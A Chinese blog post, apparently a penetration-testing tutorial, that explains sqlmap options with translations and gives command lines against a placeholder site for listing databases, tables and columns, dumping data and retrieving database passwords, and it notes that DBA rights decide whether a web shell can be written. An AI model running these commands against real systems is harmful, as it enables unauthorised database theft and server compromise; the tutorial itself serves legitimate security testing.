渗透测试之二 工具介绍SQLmap

SQLmap介绍

  • 是渗透测试中常用的攻击工具,用来对数据库进行SQL注入等

SQLmap参数详解

Usage: python sqlmap.py [options]
Options(选项):
-h, --help Show basic help message and exit 展示帮助文档 参数
-hh Show advanced help message and exit 展示详细帮助文档 参数
–version Show program’s version number and exit 显示程序的版本号
-v VERBOSE Verbosity level: 0-6 (default 1) 详细级别:0-6(默认为1)

Target(目标):
At least one of these options has to be provided to define the
target(s)

-d DIRECT Connection string for direct database connection 指定具体
数据库
-u URL, --url=URL Target URL (e.g. “http://www.site.com/vuln.php?id=1”) 目标
URL
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file 解析目标
(s)从Burp或WebScarab代理日志文件
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file 解析目标
(s)从远程站点地图文件(.xml)
-m BULKFILE Scan multiple targets given in a textual file 扫描文本文件
中给出的多个目标
-r REQUESTFILE Load HTTP request from a file 从本地文件加载HTTP请求 ,多
用于post注入。
-g GOOGLEDORK Process Google dork results as target URLs 处理
Google的结果作为目标URL。
-c CONFIGFILE Load options from a configuration INI file 从INI配置文
件中加载选项。

Request(请求):
These options can be used to specify how to connect to the target URL 这些选项
可以用来指定如何连接到目标URL。
–method=METHOD Force usage of given HTTP method (e.g. PUT) 强制
使用给定的HTTP方法(e.g. PUT)
–data=DATA Data string to be sent through POST 通过POST发送
的数据字符串
–param-del=PARA… Character used for splitting parameter values 用于拆分
参数值的字符
–cookie=COOKIE HTTP Cookie header value HTTP Cookie头
的值
–cookie-del=COO… Character used for splitting cookie values 用于分割
Cookie值的字符
–load-cookies=L… File containing cookies in Netscape/wget format 包含
Netscape / wget格式的cookie的文件
–drop-set-cookie Ignore Set-Cookie header from response 从响应中忽
略Set-Cookie头
–user-agent=AGENT HTTP User-Agent header value 指定 HTTP
User - Agent头
–random-agent Use randomly selected HTTP User-Agent header value 使用
随机选定的HTTP User - Agent头
–host=HOST HTTP Host header value HTTP主机头值
–referer=REFERER HTTP Referer header value 指定 HTTP
Referer头
-H HEADER, --hea… Extra header (e.g. “X-Forwarded-For: 127.0.0.1”) 额外
header
–headers=HEADERS Extra headers (e.g. “Accept-Language: fr\nETag: 123”) 额外
header
–auth-type=AUTH… HTTP authentication type (Basic, Digest, NTLM or PKI) HTTP
认证类型(Basic, Digest, NTLM or PKI)
–auth-cred=AUTH… HTTP authentication credentials (name:password) HTTP
认证凭证(name:password)
–auth-file=AUTH… HTTP authentication PEM cert/private key file HTTP认证
PEM认证/私钥文件
–ignore-401 Ignore HTTP Error 401 (Unauthorized) 忽略HTTP错误
401
–proxy=PROXY Use a proxy to connect to the target URL 使用代理连
接到目标网址
–proxy-cred=PRO… Proxy authentication credentials (name:password) 代理认
证证书(name:password)
–proxy-file=PRO… Load proxy list from a file 从文件中加载代理列

–ignore-proxy Ignore system default proxy settings 忽略系统默认代
理设置
–tor Use Tor anonymity network 使用Tor匿名网络
–tor-port=TORPORT Set Tor proxy port other than default 设置Tor代
理端口而不是默认值
–tor-type=TOTORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5) 设置
Tor代理类型
–check-tor Check to see if Tor is used properly 检查Tor是否正确
使用
–delay=DELAY Delay in seconds between each HTTP request 每个
HTTP请求之间的延迟(秒)
–timeout=TIMEOUT Seconds to wait before timeout connection (default 30) 秒
超时连接前等待(默认30)
–retries=RETRIES Retries when the connection timeouts (default 3) 连接超时
时重试(默认值3)
–randomize=RPARAM Randomly change value for given parameter(s) 随
机更改给定参数的值(s)
–safe-url=SAFEURL URL address to visit frequently during testing 在测试期
间频繁访问的URL地址
–safe-post=SAFE… POST data to send to a safe URL POST数据发
送到安全URL
–safe-req=SAFER… Load safe HTTP request from a file 从文件加载安
全HTTP请求

常用命令如下:

  • 测试SQL注入:

sqlmap -u http://www.test.com/index.php?id=1 --dbs

  • 自动探测数据库类型和漏洞,如果成功会列出数据库

  • 获得某个数据库中的表:

sqlmap -u sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables

  • 获得表的字段:

sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns

  • 下载某一字段的数据:

sqlmap -u http://www.test.com/index.php?id=1 --dbs -D some_db --tables -T some_table --columns -C some_col --dump

稍高级一点的用法

–is-dba 当前用户权限(是否为root权限,mssql下最高权限为sa)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒
–threads= 使用多少线程

  • --is-dba 这个命令有时候决定了你是否可以在服务器下进行写的操作,这个很重要,是否有写的权限,代表你是否可以在服务器上面写入一句话木马
利用sqlmap进行POST注入
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值